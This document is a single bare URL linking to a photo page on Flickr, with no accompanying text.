http://www.flickr.com/photos/drewm/3191872515